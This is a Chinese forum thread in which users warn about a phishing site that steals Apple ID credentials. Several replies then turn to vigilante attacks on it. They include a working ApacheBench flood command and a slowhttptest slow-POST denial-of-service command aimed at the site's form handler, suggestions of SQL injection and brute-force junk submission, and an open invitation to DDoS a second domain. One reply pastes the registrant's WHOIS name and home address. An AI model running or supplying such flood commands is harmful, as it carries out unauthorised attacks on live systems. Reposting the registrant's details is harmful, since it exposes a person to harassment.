发现个骗取 Apple ID 密码的网站，大家留心！

[kchum]

切勿登录
www.id-appleid-apple.com

简单查了下 whois 信息，以下域名都应该是同一站点。
find.appidlacksye.com
activationicloudid.com
appidlacksye.com

[aheadlead]

有谁有兴趣去sqlmap一下吗..

[DT27]

已举报到360，其他平台要举报太麻烦了。。。

[xiaozhizhu1997]

查IP看看能不能投诉到机房…

[aaronlam]

这域名也是醉了，看到页面后更醉！

[wdlth]

我只能说非Verisign EV SSL请勿钓鱼

[nobita]

safari已经有了警告

[creamiced]

那个确认按钮忘记修边了啊

[rainy3636]

chrome也已有警告

[rainy3636]

写了个假id假密码，提示错误后给我跳到了真icloud…

[quake0day]

@rainy3636 你可以写一些骂人的话，或者不停的post垃圾上去，反正这些都会被记录到数据库，可以显著增加他们查对正确账号的时间成本。另外可以试试sql注入。

[lisonfan]

[canky]

我觉得开burp suite爆破模式提交一些垃圾不错

[futursolo]

这破网站居然还有移动版。。。

[msg7086]

echo '[email protected]&sjpass=test' > p
ab -n 100000 -c 1000 -p p -T 'application/x-www-form-urlencoded' http://www.id-appleid-apple.com/Save.asp

默默地按下回车

[lovelinghan]

@msg7086 这个好

[m939594960]

@msg7086 DELETE FROM user WHERE sjname='[email protected]'

[shippo7]

写脚本疯狂提交垃圾数据

[dotpig]

Chrome 大红色的钓鱼诱骗提醒，还是蛮喜庆的。

[DearTanker]

已经蹦了，你们好厉害啊。

[TangMonk]

@msg7086 酷炫，又学到一招

但是为啥显示：
Benchmarking www.id-appleid-apple.com (be patient)
apr_socket_recv: Connection reset by peer (54)

[vvard3n]

来个py脚本吧？

[tmqhliu]

这都是骗子用来给被盗的 Apple 手机钓鱼的，目的就是骗得机主的 Apple ID 和密码，以及密保信息。这种网站成本很低，做一个就转移了，很难打击。只能自己多多留心了

[carvizerw]

不知道这哥们是不是用真实信息注册的域名
Registrant Name: he yaolong
Registrant Organization: he yaolong
Registrant Street: yexianbaoanzhenliwuzhuangwuzu
Registrant City: pingdingshan
Registrant State/Province: Henan
Registrant Postal Code: 467200
Registrant Country: CN
Registrant Phone : [phone]
Registrant Phone Ext:
Registrant Fax: [phone]

[DT27]

哈哈，站长受不了了，域名都跳到百度了。。。

[msg7086]

@m939594960 只是举个栗子罢了。请自行上伪真实数据。
再给你们一个玩法。
sudo aptitude install slowhttptest -y
slowhttptest -c 5000 -t POST -u http://www.id-appleid-apple.com/Save.asp -l 3600

OPENVZ慎用。请仅用于打击恶势力。

[laukwanchan]

你们都把他们玩坏了好么

[dndx]

又发现了一个，欢迎大家 DDOS：

http://www.apple-id-scr.com/

[nyanyh]

系統提示：參數錯誤或被Syn攻擊，請檢查！

233333